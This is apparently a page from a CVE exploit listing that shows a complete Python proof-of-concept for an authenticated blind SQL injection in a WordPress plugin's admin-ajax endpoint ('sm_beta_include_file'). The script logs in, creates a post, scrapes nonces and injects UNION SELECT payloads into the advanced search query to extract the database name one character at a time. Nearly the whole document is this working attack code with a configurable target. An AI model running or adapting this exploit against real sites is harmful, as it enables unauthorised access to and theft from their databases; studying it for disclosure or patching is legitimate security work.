4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
import requests
import sys
import string
import re


class WordPressSQLInjector:
    def __init__(self, target, login_id, login_pw, proxy=None):
        self.target = target.rstrip("/")
        self.session = requests.Session()
        self.nonce = None
        self.post_ID = None
        self.proxies = {"http": proxy, "https": proxy} if proxy else None
        self.login_id = login_id
        self.login_pw = login_pw

    def login(self):
        data = {
            "log": self.login_id,
            "pwd": self.login_pw,
            "wp-submit": "Log In",
            "testcookie": 1,
        }
        response = self.session.post(f"{self.target}/wp-login.php", data=data, proxies=self.proxies)
        if any("wordpress_logged_in_" in cookie for cookie in response.cookies.keys()):
            print(f"[+] Successfully logged in as {self.login_id}.")
        else:
            raise Exception("[-] Login failed. Check your credentials.")

    def get_nonce(self, page_url):
        response = self.session.get(page_url, proxies=self.proxies)
        pattern = r'\\"sm_nonce\\":\\"(\w+)\\"'
        match = re.search(pattern, response.text)
        if match:
            self.nonce = match.group(1)
            print(f"[+] Nonce extracted: {self.nonce}")
        else:
            raise ValueError("[-] Failed to extract nonce.")

    def create_payload(self, payload):
        if not self.nonce:
            raise ValueError("Nonce is not set. Call `get_nonce` first.")
        return {
            "cmd": "get_data_model",
            "active_module": "post",
            "security": self.nonce,
            "advanced_search_query": (
                f'[{{"condition":"test","rules":[{{"condition":"test","rules":'
                f'[{{"type":"wp_posts.ID","operator":"eq","value":"{payload}"}}]'
                f'}}]}}]'
            ),
        }

    def create_post(self):
        response = self.session.get(f"{self.target}/wp-admin/post-new.php", proxies=self.proxies)
        nonce_pattern = r'createNonceMiddleware\( "(.{10})" \)'
        post_id_pattern = r'<input type=\'hidden\' id=\'post_ID\' name=\'post_ID\' value=\'(\w+)\''
        nonce_match = re.search(nonce_pattern, response.text)
        post_id_match = re.search(post_id_pattern, response.text)

        if nonce_match and post_id_match:
            wp_nonce = nonce_match.group(1)
            post_ID = post_id_match.group(1)
            print(f"[+] Extracted wp_nonce: {wp_nonce}, post_ID: {post_ID}")

            headers = {
                "X-WP-Nonce": wp_nonce,
                "Content-Type": "application/json",
            }
            params = {"rest_route": f"/wp/v2/posts/{post_ID}", "_locale": "user"}
            data = {"id": post_ID, "status": "publish", "title": "PoC", "content": ""}

            response = self.session.post(
                f"{self.target}/index.php",
                headers=headers,
                params=params,
                json=data,
                proxies=self.proxies,
            )
            if response.status_code == 200:
                print(f"[+] Post created successfully. Post ID: {post_ID}")
                self.post_ID = post_ID
            else:
                raise ValueError("[-] Failed to create post.")
        else:
            raise ValueError("[-] Failed to extract wp_nonce or post_ID.")

    def extract_database_name(self, url):
        database_name = ""
        charset = string.ascii_letters + string.digits + "_"
        print("[+] Starting database name extraction...")

        headers = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}

        while True:
            char_found = False
            for char in charset:
                payload = (
                    f"999 ) UNION SELECT IF(SUBSTR(DATABASE(), {len(database_name) + 1}, 1)='{char}', "
                    f"{self.post_ID}, 999), 1, 999 ) #"
                )
                response = self.session.post(
                    url, data=self.create_payload(payload), headers=headers, proxies=self.proxies
                )

                try:
                    is_valid = response.json().get("total_count", 0) != 0
                except (KeyError, ValueError, requests.exceptions.JSONDecodeError):
                    print("[-] Error parsing JSON response.")
                    is_valid = False

                if is_valid:
                    database_name += char
                    sys.stdout.write(f"\r[+] Current database name: {database_name}")
                    sys.stdout.flush()
                    char_found = True
                    break

            if not char_found:
                break

        print("\n" + "*" * 40)
        print(f"[+] Database name extracted: {database_name}")
        print("*" * 40)
        return database_name


if __name__ == "__main__":
    # Configuration
    TARGET = "http://localhost:8080"
    LOGIN_ID = "admin"
    LOGIN_PW = "admin"
    PROXY = None
    NONCE_PAGE = f"{TARGET}/wp-admin/admin.php?page=smart-manager"
    URL = f"{TARGET}/wp-admin/admin-ajax.php?action=sm_beta_include_file"

    # Initialize and execute
    injector = WordPressSQLInjector(TARGET, LOGIN_ID, LOGIN_PW, proxy=PROXY)
    injector.login()
    injector.create_post()
    injector.get_nonce(NONCE_PAGE)
    database_name = injector.extract_database_name(URL)